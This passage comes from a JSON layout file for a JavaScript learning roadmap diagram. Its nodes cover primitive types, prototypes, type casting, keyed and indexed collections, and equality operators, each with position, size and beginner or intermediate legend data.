\"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -407.4974907322696,\n        \"y\": 303.23042937082954\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"GZ_SXsWmP7AsXRTc4WUMw\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -511.23327447982547,\n        \"y\": 356.23042937082954\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"number\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -511.23327447982547,\n        \"y\": 356.23042937082954\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"6lUF0neW1piiP1RsaVxEX\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -407.4974907322696,\n        \"y\": 356.23042937082954\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"bigint\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -407.4974907322696,\n        \"y\": 356.23042937082954\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"b1HvkoWA2t4kt8mS6FySm\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -511.23327447982547,\n        \"y\": 409.23042937082954\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"boolean\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -511.23327447982547,\n        \"y\": 409.23042937082954\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"CxyNyFMuTLS3owtRMgClD\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -407.4974907322696,\n        \"y\": 409.23042937082954\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"null\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -407.4974907322696,\n        \"y\": 409.23042937082954\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"R6ICrk6vjoBxx5nRGo4Jg\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -511.23327447982547,\n        \"y\": 462.23042937082954\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Symbol\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"bcE9YSY2vLzRyJQSceY9M\",\n          \"label\": \"Intermediate Topics / pick these next\",\n          \"color\": \"#9900ff\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 205,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 205,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -511.23327447982547,\n        \"y\": 462.23042937082954\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 205,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"AsJveV8cD6YH1VF156K4t\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -474.23327447982547,\n        \"y\": 521.7304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Primitive Types\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 132,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": -474.23327447982547,\n        \"y\": 521.7304293708296\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 132,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"xe8HZ8Mt1fK8yJMcDPYHJ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -4.080988474536298,\n        \"y\": 375.2304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Object\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"RRACLQ6-aopkxImIp3Toc\",\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 169,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 169,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -4.080988474536298,\n        \"y\": 375.2304293708296\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 169,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"0I6dJE0ygXPGjeRAe8AtT\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -2.233274479825468,\n        \"y\": 241.73042937082948\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Object Prototype\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"bcE9YSY2vLzRyJQSceY9M\",\n          \"label\": \"Intermediate Topics / pick these next\",\n          \"color\": \"#9900ff\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 219,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 219,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -2.233274479825468,\n        \"y\": 241.73042937082948\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 219,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Xge6eru1hRGobnOEHLZqv\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -2.233274479825468,\n        \"y\": 294.73042937082954\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Prototypal Inheritance\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"bcE9YSY2vLzRyJQSceY9M\",\n          \"label\": \"Intermediate Topics / pick these next\",\n          \"color\": \"#9900ff\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 219,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 219,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -2.233274479825468,\n        \"y\": 294.73042937082954\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 219,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"RRACLQ6-aopkxImIp3Toc\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -4.080988474536298,\n        \"y\": 428.2304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"typeof operator\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 169,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 169,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -4.080988474536298,\n        \"y\": 428.2304293708296\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 169,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"D95ndkkwmT5X_HqboEn6E\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 247.00250926773037,\n        \"y\": 375.2304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Built-in Objects\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 163,\n      \"height\": 49,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 247.00250926773037,\n        \"y\": 375.2304293708296\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 163,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"XPmBieVCXvL3WbWkYRoKr\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -126.95968546864998,\n        \"y\": 640.2304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Type Casting\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"left-center\"\n        },\n        \"oldId\": \"ADarwihuI2nBq1C3U7-Zr\"\n      },\n      \"zIndex\": 999,\n      \"width\": 178,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 178,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -126.95968546864998,\n        \"y\": 640.2304293708296\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 178,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"_Bo2YZqZ_gY35SLPML4T6\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -524.4974907322696,\n        \"y\": 587.2304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Type Conversion vs Coercion\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 270,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 270\n      },\n      \"positionAbsolute\": {\n        \"x\": -524.4974907322696,\n        \"y\": 587.2304293708296\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 270,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"1xhjrRN-Rfekei2JwwU7Y\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -524.4974907322696,\n        \"y\": 693.2304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Explicit Type Casting\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 270,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 270,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -524.4974907322696,\n        \"y\": 693.2304293708296\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 270,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"pP42K_eH4RCdUdUS8BJlP\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -524.4974907322696,\n        \"y\": 640.2304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Implicit Type Casting\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 270,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 270\n      },\n      \"positionAbsolute\": {\n        \"x\": -524.4974907322696,\n        \"y\": 640.2304293708296\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 270,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ADarwihuI2nBq1C3U7-Zr\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 141.50250926773037,\n        \"y\": 640.2304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Data Structures\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 172,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 172,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 141.50250926773037,\n        \"y\": 640.2304293708296\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 172,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"rhJrrqkRqy2Qw_he4SPGz\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 128.50250926773037,\n        \"y\": 564.7304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Keyed Collections\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 198,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 198,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 128.50250926773037,\n        \"y\": 564.7304293708296\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 198,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Xc0jL4rafpI-ixIaAxo9O\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 405.1719904951085,\n        \"y\": 457.7304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Map\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"bcE9YSY2vLzRyJQSceY9M\",\n          \"label\": \"Intermediate Topics / pick these next\",\n          \"color\": \"#9900ff\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 128,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 128,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 405.1719904951085,\n        \"y\": 457.7304293708296\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 128,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"6icsjC4aisDgPWasVuCOt\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 405.1719904951085,\n        \"y\": 510.7304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Weak Map\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"bcE9YSY2vLzRyJQSceY9M\",\n          \"label\": \"Intermediate Topics / pick these next\",\n          \"color\": \"#9900ff\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 128,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 128,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 405.1719904951085,\n        \"y\": 510.7304293708296\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 128,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"sciU68E13mcfL577y6Vim\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 405.1719904951085,\n        \"y\": 563.7304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Set\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"bcE9YSY2vLzRyJQSceY9M\",\n          \"label\": \"Intermediate Topics / pick these next\",\n          \"color\": \"#9900ff\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 128,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 128,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 405.1719904951085,\n        \"y\": 563.7304293708296\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 128,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"DSFzj61N9ojz29mjExhVa\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 405.1719904951085,\n        \"y\": 616.7304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Weak Set\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"bcE9YSY2vLzRyJQSceY9M\",\n          \"label\": \"Intermediate Topics / pick these next\",\n          \"color\": \"#9900ff\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 128,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 128,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 405.1719904951085,\n        \"y\": 616.7304293708296\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 128,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"lBOGoHZrmnIRatvryDwTm\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 128.50250926773037,\n        \"y\": 742.2304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Indexed Collections\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 198,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 198,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 128.50250926773037,\n        \"y\": 742.2304293708296\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 198,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"8X1mdQ3NDBVOZZWBbAFRE\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 389.171875,\n        \"y\": 713.063720703125\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Typed Arrays\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"bcE9YSY2vLzRyJQSceY9M\",\n          \"label\": \"Intermediate Topics / pick these next\",\n          \"color\": \"#9900ff\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 145,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 145\n      },\n      \"positionAbsolute\": {\n        \"x\": 389.171875,\n        \"y\": 713.063720703125\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 145,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"NZedBxG9B9TRVOf2QE2yL\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 389.171875,\n        \"y\": 766.063720703125\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Arrays\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 145,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 145\n      },\n      \"positionAbsolute\": {\n        \"x\": 389.171875,\n        \"y\": 766.063720703125\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 145,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"JwLGAuSOTyZ5BHSqeBDU6\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 129.50250926773037,\n        \"y\": 510.7304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Structured Data\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 196,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 196,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 129.50250926773037,\n        \"y\": 510.7304293708296\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 196,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"bFNvtHp97OzKnPJgr7WaH\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 255.50250926773037,\n        \"y\": 439.2304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"JSON\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 71,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 71,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 255.50250926773037,\n        \"y\": 439.2304293708296\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 71,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"23Xa6q5VvRVlzc6Dx8vST\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -212.7816601458129,\n        \"y\": 794.563720703125\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Equality Comparisons\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"right-center\"\n        },\n        \"oldId\": \"YD-2l_amfqqqCdtc_Zdzo\"\n      },\n      \"zIndex\": 999,\n      \"width\": 212,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 212,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -212.7816601458129,\n        \"y\": 794.563720703125\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 212,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"RonBj1htt6jnBt3W7zoTA\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -510.828125,\n        \"y\": 781.063720703125\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"==\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 61,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 61,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -510.828125,\n        \"y\": 781.063720703125\n      },\n      \"selectable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 61,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"lJwcc6JoUIQoiQ6FkV2KW\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -446.828125,\n        \"y\": 781.063720703125\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"===\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 61,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 61,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -446.828125,\n        \"y\": 781.063720703125\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 61,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ATma3bLKdmWY_WTsPIKxh\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -382.828125,\n        \"y\": 781.063720703125\n      },\n      